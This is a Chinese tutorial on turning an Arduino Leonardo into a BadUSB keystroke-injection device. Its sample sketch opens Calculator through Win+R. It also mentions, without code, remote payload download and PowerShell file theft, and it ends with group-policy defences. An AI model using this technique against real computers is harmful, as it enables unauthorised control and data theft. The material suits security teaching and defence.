由Arduino Leonardo初识BadUsb
字数 1845 2025-08-18 11:38:48
Arduino Leonardo制作BadUSB教学文档
0X00 原理及基础知识
BadUSB简介
BadUSB是一种通过硬件直接插入目标电脑,模拟键盘鼠标操作来执行恶意代码的攻击方式。攻击者可以借此干扰、控制主机或窃取信息。
HID攻击原理
HID(Human Interface Device)是人机接口设备,如键盘、鼠标等。HID攻击通过控制用户键盘鼠标来操控电脑。攻击者将恶意代码隐藏在看似正常的USB设备中,当设备插入电脑时,恶意代码会被加载执行。
Teensy攻击芯片
Teensy是一种小型完整的单片机开发系统,可以模拟键盘鼠标。插入电脑时会被识别为键盘,通过预编程的攻击代码向主机发送控制命令,完全控制主机。
Arduino平台
Arduino是开源电子原型平台,特点包括:
- 跨平台:支持Windows、Mac OS X、Linux等
- 编程灵活:支持图形化编程
- 完全开源:硬件原理图、电路图、IDE和核心库都开源
- 发展迅速:全球最流行的开源硬件平台
Arduino板子种类
- Arduino UNO
- Arduino Leonardo(本文使用)
- Arduino MICRO
- Arduino MEGA 2560
0X01 环境准备
硬件准备
- Arduino Leonardo开发板
软件准备
-
下载Arduino IDE:
- 官网下载或使用提供的百度网盘链接:
- 链接:https://pan.baidu.com/s/1UqLszoiN8OI_vM3QYMlgIA
- 密码:8asp
- 官网下载或使用提供的百度网盘链接:
-
驱动安装(仅Windows 7需要):
- 插入Arduino Leonardo后,在设备管理器中安装驱动
- 驱动位于Arduino IDE目录下的drivers文件夹中
0X02 开发流程
1. 连接开发板
- 将Arduino Leonardo通过USB线连接到电脑
- 打开Arduino IDE
2. IDE配置
- 选择开发板:
- 工具栏 -> 开发板 -> 选择"Arduino Leonardo"
- 选择端口:
- 工具栏 -> 端口 -> 选择"COMX(Arduino Leonardo)"
3. 程序结构
Arduino程序主要包含两个函数:
setup():初始化函数,只在启动时执行一次loop():主循环函数,会不断重复执行
4. 示例代码:弹出计算器
#include <Keyboard.h>
void setup() {
Keyboard.begin(); // 开始键盘通讯
delay(1000); // 延时
Keyboard.press(KEY_LEFT_GUI); // win键
delay(500);
Keyboard.press('r'); // r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); // 结束键盘通讯
}
void loop() {
// 循环
}
代码说明:
- 包含Keyboard库,用于模拟键盘输入
- 按下Win+R组合键打开运行窗口
- 输入"calc"并回车,打开计算器
- 使用Caps Lock切换确保输入为大写
5. 上传代码
- 点击上传按钮,代码将烧录到Arduino Leonardo
- 注意:上传过程中可能会反复断开连接,这是正常现象
0X03 扩展功能
1. 弹出消息框
可以修改代码弹出自定义消息框
2. 下载远程文件
通过模拟键盘输入命令从远程服务器下载并执行恶意文件
3. 高级攻击
结合PowerShell脚本进行文件窃取等高级操作
0X04 防御措施
1. 创建黑名单
- 运行
gpedit.msc打开本地组策略编辑器 - 导航到:计算机配置 > 管理模板 > 系统 > 设备安装 > 设备安装限制
- 启用"阻止使用与这些设备设置类匹配的驱动程序安装设备"
- 添加以下GUID到黑名单:
4d36e96b-E325-11CE-BFC1-08402BE10318:USB键盘4D36E972-E325-11CE-BFC1-08012BE10318:网络接口控制器e0cbf06c-cd8b-4647-bb8a-263b45f0f974:蓝牙
2. 禁用自动USB安装
- 同上打开设备安装限制
- 启用"禁止安装可移动设备"
- 启用"允许管理员覆盖设备安装限制"
3. 禁用非活动USB端口
通过物理方式禁用不使用的USB端口
0X05 注意事项
- 本文仅用于学习研究目的
- 实际攻击可能需要考虑更多因素如杀毒软件绕过
- 不同系统版本可能需要调整代码
- 上传代码时确保选择正确的开发板和端口
0X06 参考资料
- 天融信阿尔法实验室《HID攻击之TEENSY实战》
- 维克斯《利用Arduino快速制作Teensy BadUSB》
- lpcdma《使用arduino进行渗透测试》
- mrzcpo《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》
- https://heimdalsecurity.com/blog/badusb-exploit-vulnerability-fix/